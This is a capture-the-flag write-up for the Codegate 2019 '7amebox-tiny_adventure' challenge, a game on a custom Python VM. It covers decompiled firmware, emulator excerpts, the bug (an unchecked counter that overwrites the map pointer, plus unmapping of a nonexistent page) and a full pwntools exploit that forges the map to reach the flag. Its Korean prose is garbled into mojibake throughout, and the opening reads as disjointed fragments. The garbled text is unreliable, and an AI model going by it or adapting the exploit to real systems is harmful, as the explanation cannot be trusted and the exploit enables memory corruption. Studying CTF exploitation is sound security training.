Codegate CTF 2019 - 7amebox-tiny_adventure
๋ชฉ์ฐจ
Codegate CTF 2019 pwnable challenge ๊ธฐ๋ณธ์ ์ธ ๊ตฌ์กฐ๋ 7amebox-name๊ณผ ๋์ผํ๋ค. ํ์ง๋ง Firmware ์คํ ํ ์ฒ์ ์คํ๋๋ ์ด ์ค ๊ทธ๋ฐ๋ฐ ๋ฌธ์ ๋ ์ด๋ฏธ ํ ๋น๋์ด์๋ page๊ฐ ์๊ณ emulator์์ ๋ฐ๋ผ์ index ์ญํ ์ ํ๋ ํ์ง๋ง Emulator์์ ๋ฐ๋ผ์ ์กด์ฌํ์ง ์๋ ์์ญ์ธ Emulator๊ฐ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํด์ฃผ๋ ๊ณผ์ ์ ๋ค์๊ณผ ๊ฐ๋ค. ์ด๋ ๊ฒ python 2.7์์๋ dictionary๋ฅผ ์ํํ ๋ ๋๋คํ ์์๋ก ์ํํ๋๋ฐ๋ค, ๊ฐ์ ์ดํ์ ์ถ๊ฐํ๋ค๊ณ ํ๋๋ผ๋ ์์๊ฐ ๋งจ ๋ค์ ์ค๋ ๊ฒ์ด ์๋๋ผ ์ค๊ฐ์ ๋ ์๋ ์๋ค. ๋ฐ๋ผ์ ๋ฐ๋ผ์ ๋ง์ง๋ง ์ด๋ฌ๋ฉด ๋ง์ง๋ง์ผ๋ก ๋จ์ ์ด์ ์ด์ ๋จ์ ๊ฒ์ ์ถฉ๋ถํ 0x00. Introduction
โ ls -al
total 64
drwxr-xr-x 2 user user 4096 Jul 30 08:48 .
drwxr-x--- 24 user user 4096 Jul 30 08:48 ..
-rw-r--r-- 1 user user 579 Jul 17 03:06 Dockerfile
-rwxr-xr-x 1 user user 30804 Jul 17 03:06 _7amebox_patched.py
-rw-r--r-- 1 user user 41 Jul 17 03:06 flag
-rwxr-xr-x 1 user user 21 Jul 17 03:06 run.sh
-rw-r--r-- 1 user user 3600 Jul 17 03:06 stage.map
-rw-r--r-- 1 user user 3721 Jul 17 03:06 tiny_adventure.firm
-rwxr-xr-x 1 user user 371 Jul 17 03:06 vm_tiny.py Global variables
int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312; Concept
1) show current map
2) buy a dog
3) sell a dog
4) direction help
w a s d) move to direction
>1
-------------------------------------------------
* (\x2a) = power up
# (\x23) = wall
@ (\x40) = you
a ~ y = monster
z = boss monster (flag)
-------------------------------------------------
##############################################################
#@ #
# a f #
# #
# v z #
# i p #
...
##############################################################stage.map ํ์ผ์ ์ฝ์ด ๋ฉ๋ชจ๋ฆฌ์ ๋ก๋ํ ํ w, a, s, d๋ฅผ ํตํด ์์ง์ด๋ค๊ฐ monster๋ฅผ ์ก์ผ๋ฉด ์์ฑ๋๋ *์ ํ๋ํด์ power up์ ํ๋ค. ์ด ์ธ์๋ ์ทจ์ฝ์ ํธ๋ฆฌ๊ฑฐ๋ฅผ ์ํ buy_dug, sell_dog ๋ฉ๋ด๊ฐ ์๋ค. Goal
void move_0x383(char choice) {
...
_0x534_boss:
print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
read_0x669(choice, 3);
if(hp_0x1309 < 0x7d0)
hp_0x1309 = 0;
else
hp_0x1309 -= 0x7d0;
if(power_0x130c < 0x2bc)
*(new_loc) = met;
else
flag_0x5bf();
...
}stage.map์ ์๋ z๋ฅผ ๋ง๋ ๊ฒฝ์ฐ boss ์คํ
์ด์ง๊ฐ ์ด๋ฆฌ๊ณ , hp๋ ์ฌ์ค์ ๊ด๊ณ ์์ด power๋ง 0x2bc๋ณด๋ค ํฌ๊ฑฐ๋ ๊ฐ์ผ๋ฉด flag๋ฅผ ์ถ๋ ฅํด์ค๋ค.map์ ์๋ ๋ชจ๋ monster๋ฅผ ์ก์๋ power ๊ฐ์ 0x2bc๋ณด๋ค ํฌ๊ฒ ๋ง๋ค ์ ์๊ธฐ ๋๋ฌธ์ exploit ๋ฐฉํฅ์ map์ ์ ๋ณด๋ฅผ ์กฐ์ํ๋ ๊ฒ์ผ๋ก ์ก์๋ค. 0x01. Vulnerability
load_map_0x103() ํจ์์์ ๋ค์๊ณผ ๊ฐ์ ์ ์ญ๋ณ์ ์ด๊ธฐํ๊ฐ ์ด๋ฃจ์ด์ง๋ค.int load_map_0x103() {
int new_page; // 0xf5fc5
int ; // 0xf5fc8
int r0;
dog_count_0x1000 = 0;
memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
sell_count_0x1306 = 6;
hp_0x1309 = 0x78;
power_0x130c = 0x61;
x_0x130f = 0;
y_0x1312 = 0;
r0 = syscall(0x4, new_page, 0x6); // mmap(new_page, O_READ | O_WRITE); 0x59000
map_0x1303 = new_page;
r0 = open("stage.map");
syscall(0x3, r0, map_0x1303, 0xe10); // read(fd, map_0x1303, 0xe10);
return new_page;
}dog_avatar_0x1003์ ๋ค์๊ณผ ๊ฐ์ด ํ์ฉ๋๋ค.void buy_dog_0x25c() {
int choice;
int new_page;
int r0;
r0 = syscall(0x4, new_page, 0x6); // new_page = mmap(O_READ | O_WRITE);
if(r0 == 0)
goto _0x2e5;
dog_count_0x1000++;
dog_avatar_0x1003[dog_count_0x1000] = new_page;
print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
read_0x669(choice, 0x3);
if(choice == 'y') {
read_0x669(new_page, 0x1000);
print_0x6a5("you got a new dog!");
goto _0x2fe;
}
print_0x6a5("you got a new dog!");
_0x2e5:
print_0x6a5("you already have too many dogs!");
_0x2fe:
return;
}syscall์ ํตํด์ ๋ฉ๋ชจ๋ฆฌ ํ ๋น์ด ์ฑ๊ณตํ๋ฉด dog_count_0x1000์ด ์ฆ๊ฐํ๊ณ ํด๋น index์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ ์ฃผ์๋ฅผ ์ด๋ค.dog_count_0x1000์ boundary check๋ฅผ ํ์ง ์๊ธฐ ๋๋ฌธ์ ๊ฐ์ด 0x101์ด ๋ ๊ฒฝ์ฐ dog_avatar_0x1003 ๋ฐฐ์ด ๋ค์ ์๋ map_0x1303์ ๊ฐ์ ์ธ ์ ์๊ฒ ๋๋ค. map_0x1303์๋ stage.map์ ๋ด์ฉ์ ์ฝ์ด ์ ์ฅํ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๊ฐ ๋ด๊ฒจ์๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ์กฐ์ํ ๊ฒฝ์ฐ map ์ ๋ณด๋ฅผ ์กฐ์ํ ์ ์๋ค. ๊ฒ๋ค๊ฐ avatar๋ฅผ ๊ทธ๋ฆฐ๋ค๋ ๋ช
๋ชฉ์ผ๋ก ํ ๋น๋ฐ์ ๋ฉ๋ชจ๋ฆฌ์ ๊ฐ์ 0x1000๋งํผ ์ธ ์ ์์ด์ map์ ๋ด์ฉ๋ ๋ง์๋๋ก ์กฐ์ํ ์ ์๋ค.[*] allocating 0xfa-th page
addr : 0x17000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfb-th page
addr : 0x78000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfc-th page
you already have too many dogs!0xfb๋ฒ๋ง ํ ๋น์ด ๋๊ณ ์คํจํ๋๋ฐ ์ด์ ๋ฅผ ํ์ธํด๋ณด๋,gef > mmap
0x0 : r-x
0x1000 : rw-
0x59000 : rw-
0xf4000 : rw-
0xf5000 : rw-0x0 ~ 0xff000์์ญ๋ง ํ ๋น ๊ฐ๋ฅํ ์์ญ์ผ๋ก ์ ์ฅํ๊ธฐ ๋๋ฌธ์ด์๋ค.class Memory:
def __init__(self, size):
self.memory = [0 for i in range(size)]
self.pages = {}
for page in range(0, size, 0x1000):
self.pages[page] = 0
...
class EMU:
def __init__(self):
...
self.memory = Memory(2 ** 20) # 0x100000
...dog_count_0x1000 ๊ฐ์ 0xfb์์ 0x101๊น์ง ๋ค๋ฅธ ์ทจ์ฝ์ ์ ์ด์ฉํด์ ์ฆ๊ฐ์์ผ์ผํ๋๋ฐ, sell_count_0x1306 ๊ฐ์ด ๋ฑ ๊ทธ ์ฐจ์ด์ธ 0x6์ด๋ฏ๋ก sell_dog_0x304()๋ฅผ ํ์ฉํด์ผ ํ๋ค๋ ํฉ๋ฆฌ์ ์ธ ์ถ๋ก ์ ํด๋ณผ ์ ์๋ค.void sell_dog_0x304() {
int choice; // 0xf5fc5
int new_page; // 0xf5fc8
if(sell_count_0x1306 == 0)
goto _0x373;
sell_count_0x1306--;
print_0x6a5("which dog do you want to sell?");
read_0x669(choice, 0x4);
if(choice < 0x100000)
goto _0x373;
syscall(0x6, choice); // munmap(choice);
print_0x6a5("good bye my dog..");
goto _0x37d;
_0x373:
print_0x6a5("you can't sell the dog!");
_0x37d:
return;
}sell_dog_0x304()์ ์ฝ๋๋ฅผ ๋ณด๋ฉด unmappingํ ์ฃผ์๊ฐ 0x100000๋ณด๋ค ์์ผ๋ฉด syscall์ ํธ์ถํ ์ ์๋ค. ๊ทธ๋ฐ๋ฐ ๋์ ๋ถ์์ ํ ๋ AAAA๋ฅผ ์
๋ ฅํ๋๋ unmapping์ด ์ฑ๊ณตํ ๊ธฐ์ต์ด ์์ด emulator ์ฝ๋๋ฅผ ํ์ธํด๋ณด์๋ค.class EMU:
...
def sys_s6(self): # munmap
addr = self.register.get_register('r1') & 0b111111111000000000000
self.memory.set_perm(addr, 0b0000)
...
class Memory:
...
def set_perm(self, addr, perm):
self.pages[addr & 0b111111111000000000000] = perm & 0b1111
...sys_s6()์ด ํธ์ถ๋๋ฉด Memory ๊ฐ์ฒด์ set_perm() ํจ์๋ฅผ ํตํด page์ ๊ถํ์ 0b0000์ผ๋ก ๋ง๋ค์ด๋ฒ๋ฆฐ๋ค. ๊ทธ๋ฐ๋ฐ ์ด ๊ณผ์ ์์ ํด๋น page๊ฐ ์กด์ฌํ๋์ง ํ์ธํ์ง ์๊ณ ๊ถํ์ ์
๋ ฅํ๋๋ฐ, python์ dictionary์์ ์กด์ฌํ์ง ์๋ key์ ๊ฐ์ ์
๋ ฅํ๋ฉด key-value ์์ ์์ฑํด์ ์ ์ฅํ๋ค.AAAA ์์ญ๋ unmapping์ด ๊ฐ๋ฅํ๊ณ , ์ด ์์ญ์ด pages dictionary์ ์ ์ฅ๋๋ฏ๋ก ํ ๋น๋ ๊ฐ๋ฅํ๋ค. ๋ฌผ๋ก ํ ๋น ์ดํ ๊ฐ์ ์ฐ๊ฑฐ๋ ์ฝ์ผ๋ ค๊ณ ํ๋ฉด memory size๋ฅผ ๋์ด๊ฐ๋ฏ๋ก ์๋ฌ๊ฐ ๋๋ค. ํ์ง๋ง dog_count_0x1000๋ฅผ ์ฆ๊ฐ์ํค๋ ๊ฒ์ด ๋ชฉ์ ์ด๋ฏ๋ก munmap -> map์ 6๋ฒ ์ํํ๊ณ write๊ฐ ๊ฐ๋ฅํ ์์ญ์ map ์ ๋ณด๋ฅผ ์ฐ๋ฉด ๋๋ค. 0x02. Exploit
def allocate(self, new_perm, addr=None):
if addr:
if not (self.get_perm(addr) & PERM_MAPPED):
self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
return addr
else:
return -1
for page, perm in self.pages.items():
if not (self.get_perm(page) & PERM_MAPPED):
self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
return page
return -1addr์ด ์ ํด์ง์ง ์์์ ๋, pages dictionary๋ฅผ ์ํํ๋ฉฐ PERM_MAPPED ๊ถํ์ด ์๋ page๋ฅผ returnํด์ค๋ค.# Python 2.7.18
>>> a = {"A" : 1, "B" : 2, "C" : 3, "D" : 4}
>>> for key in a:
... print key,
...
A C B D
>>> a["E"] = 5
>>> for key in a:
... print key,
...
A C B E DMemory ๊ฐ์ฒด์ pages dictionary์ key-value ๊ฐ์ ์ถ๊ฐํ๋ค๋ฉด ๋์ ํ๋ฅ ๋ก ์ค๊ฐ์ key๊ฐ ์ฝ์
๋ ๊ฒ์ด๋ค. ์ค์ ๋ก emulator๊ฐ pages dictionary๋ฅผ ์์ฑํ๊ณ unmapping์ ํ๋ ๊ณผ์ ์ ๋ฐ๋ผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ์ป์ ์ ์๋ค.>>> pages = {}
>>> for page in range(0, 2 ** 20, 0x1000): # Memory.__init__()
... pages[page] = 0
...
>>> pages[0x100000] = 0 # Memory.set_perm()
>>> for index, (page, perm) in enumerate(pages.items()): # Memory.allocate()
... if page == 0x100000:
... print "page 0x100000 is at %d-th index" % index
...
page 0x100000 is at 98-th index
>>> print "last page %s is at %d-th index" % (hex(page), index)
last page 0x78000 is at 256-th indexpage์ธ 0x78000 ์์ญ์ ๋จ๊ฒจ๋๊ณ ๋ชจ๋ ์์ญ์ ํ ๋นํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ๊ตฌ์ฑํ๋ค. for i in range(0xfa):
log.info(f"buying : {hex(i + 1)} / 0xfa")
buy_dog(s, b"n")dog_count_0x1000๋ 0xfa๊น์ง ์ฆ๊ฐํ์ ๊ฒ์ด๊ณ , sell_dog_0x304()๋ฅผ ์ด์ฉํ์ฌ 0x6๋งํผ ๋ ์ฆ๊ฐ์ํค๋ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ๋ค. for i in range(6):
log.info(f"selling and buying : {hex(i + 1)} / 0x6")
sell_dog(s, 0x100000)
buy_dog(s, b"n")0x78000 ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋น๋ฐ์ผ๋ฉด ๋ง์นจ๋ด dog_count_0x1000๋ 0x101์ด ๋๋ฉด์ map_0x1303์ด 0x78000์ผ๋ก ๋ฎ์ด๊ฒ ๋๋ค.avatar๋ฅผ ๊ทธ๋ฆฌ๊ธฐ ์ํด ์
๋ ฅํ๋ ๊ฐ์ด ๊ทธ๋๋ก map ์ ๋ณด๊ฐ ๋๋ฏ๋ก, ๋์ ์์น์ boss๋ฅผ ์ ์ธํ map์ ๋ชจ๋ power up์ ์๋ฏธํ๋ *์ผ๋ก ์ฑ์๋ฃ๊ธฐ ์ํ payload๋ ๋ค์๊ณผ ๊ฐ๋ค. payload = b"@"
payload += b"*" * 3598
payload += b"z"
buy_dog(s, b"y", payload)power๋ฅผ ๋๋ ค์ boss์ ์ธ์ฐ๋ ๊ฒ์ธ๋ฐ, boss๋ฅผ ์ด๊ธฐ๊ธฐ ์ํ ์กฐ๊ฑด์ power๊ฐ 0x2bc๋ณด๋ค ํฌ๊ฑฐ๋ ๊ฐ์ ๊ฒ์ด๊ณ power up์ ํ๋ฉด power๊ฐ 0x5๋งํผ ์ฆ๊ฐํ๋ฏ๋ก, ์ต์ 121๋ฒ์ power up์ด ํ์ํ๋ค ํ์ฌ map์ ๋ชจ๋ ์๋ฆฌ๊ฐ *์ผ๋ก ์ฑ์์ ธ์์ผ๋ฏ๋ก ์ด๋๋ก๋ 121๋ฒ ์ ์ ์ด๋ํ ์ ์ด ์๋ ๊ณณ์ผ๋ก ์ด๋ํ๋ฉด ๋๋ค. for i in range(2):
for j in range(60):
log.info(f"farming...")
move(s, b"d")
move(s, b"s")
move(s, b"w")
move(s, b"w")
move(s, b"w")
move(s, b"a") 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys
BINARY = "./vm_tiny.py"
bp = {
'read_of_sell_dog' : 0x341,
'direction_help' : 0xbf,
}
context.terminal = ['tmux', 'splitw', '-hf']
def set_bp(s, addr):
s.recv()
s.sendline(f"b {hex(addr)}".encode())
sleep(0.1)
s.sendline(b"c")
return s.recv()
def buy_dog(s, draw, avatar=""):
s.sendline(b"2")
print(s.recvuntil(b">").decode())
s.sendline(draw)
if draw == b'y':
s.sendline(avatar)
return s.recvuntil(b">")
def sell_dog(s, addr):
s.sendline(b"3")
s.recvuntil(b">")
if type(addr) == bytes:
s.sendline(addr)
else:
s.sendline(p21(addr))
return s.recvuntil(b">")
def move(s, direction):
s.sendline(direction)
return s.recvuntil(b">")
def main():
if(len(sys.argv) > 1):
s = remote("localhost", int(sys.argv[1]))
else:
s = process(BINARY)
print(set_bp(s, bp['direction_help']).decode())
s.recvuntil(b">")
for i in range(0xfa):
log.info(f"buying : {hex(i + 1)} / 0xfa")
buy_dog(s, b"n")
for i in range(6):
log.info(f"selling and buying : {hex(i + 1)} / 0x6")
sell_dog(s, 0x100000)
buy_dog(s, b"n")
payload = b"@"
payload += b"*" * 3598
payload += b"z"
buy_dog(s, b"y", payload)
for i in range(2):
for j in range(60):
log.info(f"farming...")
move(s, b"d")
move(s, b"s")
move(s, b"w")
move(s, b"w")
move(s, b"w")
move(s, b"a")
log.info(f"fight!!!")
s.sendline(b"1")
print(s.recvuntil(b"}").split(b"\n")[-1])
if __name__=='__main__':
main() 0x04. Decompile
#define O_MAPPED 0b1000
#define O_READ 0b0100
#define O_WRITE 0b0010
#define O_EXEC 0b0001
char *str_0x6e2 = "====================================================\
| PWN ADVENTURE V8.6 |\
====================================================\
| __ |\
| _|^ |________ |\
| (____| |___ |\
| |________| |\
| | | | | |\
| |\
----------------------------------------------------";
char *str_0xc66 = "====================================================\
| YOU WERE DEAD! |\
====================================================\
| HP : 0 |\
| |\
| |\
| ... |\
| ___ |\
| |___| |\
----------------------------------------------------";
char *str_0x6a5 = " direction\
________________________________\
| W : north |\
| A : west D : east |\
| S : south |\
|________________________________|";
char *str_0x9c5 = "-------------------------------------------------\
* (\x2a) = power up\
# (\x23) = wall\
@ (\x40) = you\
a ~ y = monster\
z = boss monster (flag)\
-------------------------------------------------";
int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312;
int read_0x669(int r0, int r1) {
syscall(0x3, 0x0, r0, r1); // read(stdin, r0, r1);
}
void memset_0x61b(int *addr, char value, int len) {
for(int i=0; i<len; i++)
*(addr + i) = value;
}
int load_map_0x103() {
int new_page; // 0xf5fc5
int ; // 0xf5fc8
int r0;
dog_count_0x1000 = 0;
memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
sell_count_0x1306 = 6;
hp_0x1309 = 0x78;
power_0x130c = 0x61;
x_0x130f = 0;
y_0x1312 = 0;
r0 = syscall(0x4, new_page, 0x6); // mmap(new_page, O_READ | O_WRITE); 0x59000
map_0x1303 = new_page;
r0 = open("stage.map");
syscall(0x3, r0, map_0x1303, 0xe10); // read(fd, map_0x1303, 0xe10);
return new_page;
}
int hp_check_0x1af() {
int r0;
r0 = hp_0x1309;
if(r0 <= 0) {
print(str_0xc66);
r0 = 0;
goto _0x1e0;
}
r0 = 1;
_0x1e0:
return;
}
void show_map_0x1e6() {
int r0;
print_0x6a5(str_0x9c5);
print_0x6a5("##############################################################");
r0 = map_0x1303;
for(int i=0; i<60; i++) {
write_0x687(1, "#");
write_0x687(60, r0 + 60 * i);
write_0x687(1, "#");
}
print_0x6a5("##############################################################");
}
void buy_dog_0x25c() {
int choice;
int new_page;
int r0;
r0 = syscall(0x4, new_page, 0x6); // new_page = mmap(O_READ | O_WRITE);
if(r0 == 0)
goto _0x2e5;
dog_count_0x1000++;
dog_avatar_0x1003[dog_count_0x1000] = new_page;
print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
read_0x669(choice, 0x3);
if(choice == 'y') {
read_0x669(new_page, 0x1000);
print_0x6a5("you got a new dog!");
goto _0x2fe;
}
print_0x6a5("you got a new dog!");
_0x2e5:
print_0x6a5("you already have too many dogs!");
_0x2fe:
return;
}
void sell_dog_0x304() {
int choice; // 0xf5fc5
int new_page; // 0xf5fc8
if(sell_count_0x1306 == 0)
goto _0x373;
sell_count_0x1306--;
print_0x6a5("which dog do you want to sell?");
read_0x669(choice, 0x4);
if(choice < 0x100000)
goto _0x373;
syscall(0x6, choice); // munmap(choice);
print_0x6a5("good bye my dog..");
goto _0x37d;
_0x373:
print_0x6a5("you can't sell the dog!");
_0x37d:
return;
}
void move_0x383(char choice) {
char *new_loc; // 0xf5fbf
int map; // 0xf5fc2
int choice; // 0xf5fc5
char tmp[3]; // 0xf5fc8
int r0, met, r8, r9;
char *r5;
tmp[0] = choice;
r0 = *map_0x1303;
map = r0;
r8 = x_0x130f;
r9 = y_0x1312;
r5 = r0 + x_0x130f + y_0x1312 * 60;
if(*r5 == '@')
*r5 = ' ';
if(tmp[0] == 'w')
y_0x1312 = (y_0x1312 - 1) % 60;
else if(tmp[0] == 'a')
x_0x130f = (x_0x130f - 1) % 60;
else if(tmp[0] == 's')
y_0x1312 = (y_0x1312 + 1) % 60;
else
x_0x130f = (x_0x130f + 1) % 60;
new_loc = map + x_0x130f + y_0x1312 * 60;
met = *(new_loc);
*(new_loc) = '@';
if(met == ' ')
goto _0x59f_return;
else if(met == '*')
goto _0x505_power_up;
else if(met == 'z')
goto _0x534_boss;
else if(met < 'a' || met > 'z')
goto _0x59f_return;
print_0x6a5("you met a monster\n1) attack\n2) attack\n>");
read_0x669(choice, 3);
if(hp_0x1309 < 30)
hp_0x1309 = 0;
else
hp_0x1309 -= 30;
if(met > power_0x130c) {
*(new_loc) = met;
goto _0x59f_return;
}
*(new_loc) = '*';
goto _0x59f_return;
_0x505_power_up:
hp_0x1309 += 40;
power_0x130c += 5;
print_0x6a5("power up!");
goto _0x59f_return;
_0x534_boss:
print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
read_0x669(choice, 3);
if(hp_0x1309 < 0x7d0)
hp_0x1309 = 0;
else
hp_0x1309 -= 0x7d0;
if(power_0x130c < 0x2bc)
*(new_loc) = met;
else
flag_0x5bf();
_0x59f_return:
return;
}
void flag_0x5bf() {
char buf[60];
int r0;
memset_0x61b(buf, 0, 60);
r0 = syscall(0x1, 0xe7a); // open("flag");
syscall(0x3, r0, buf, 60); // read(fd, buf, 60);
print_0x6a5(buf);
syscall(0x0); // exit(0);
return;
}
void main() {
int choice;
int ;
int r0;
print_0x6a5(str_0x6e2);
load_map_0x103();
while(hp_check_0x1af() != 0) {
print_0x6a5("1) show current map\n2) buy a dog\n3) sell a dog\n4) direction help\nw a s d) move to direction\n>");
choice = 0;
read_0x669(choice, 0x3);
if(choice == '1')
show_map_0x1e6();
else if(choice == '2')
buy_dog_0x25c();
else if(choice == '3')
sell_dog_0x304();
else if(choice == '4')
print_0x6a5(str_0x6a5);
else if(choice == 'w')
move_0x383(choice);
else if(choice == 'a')
move_0x383(choice);
else if(choice == 's')
move_0x383(choice);
else if(choice == 'd')
move_0x383(choice);
}
_0xfd:
return;
}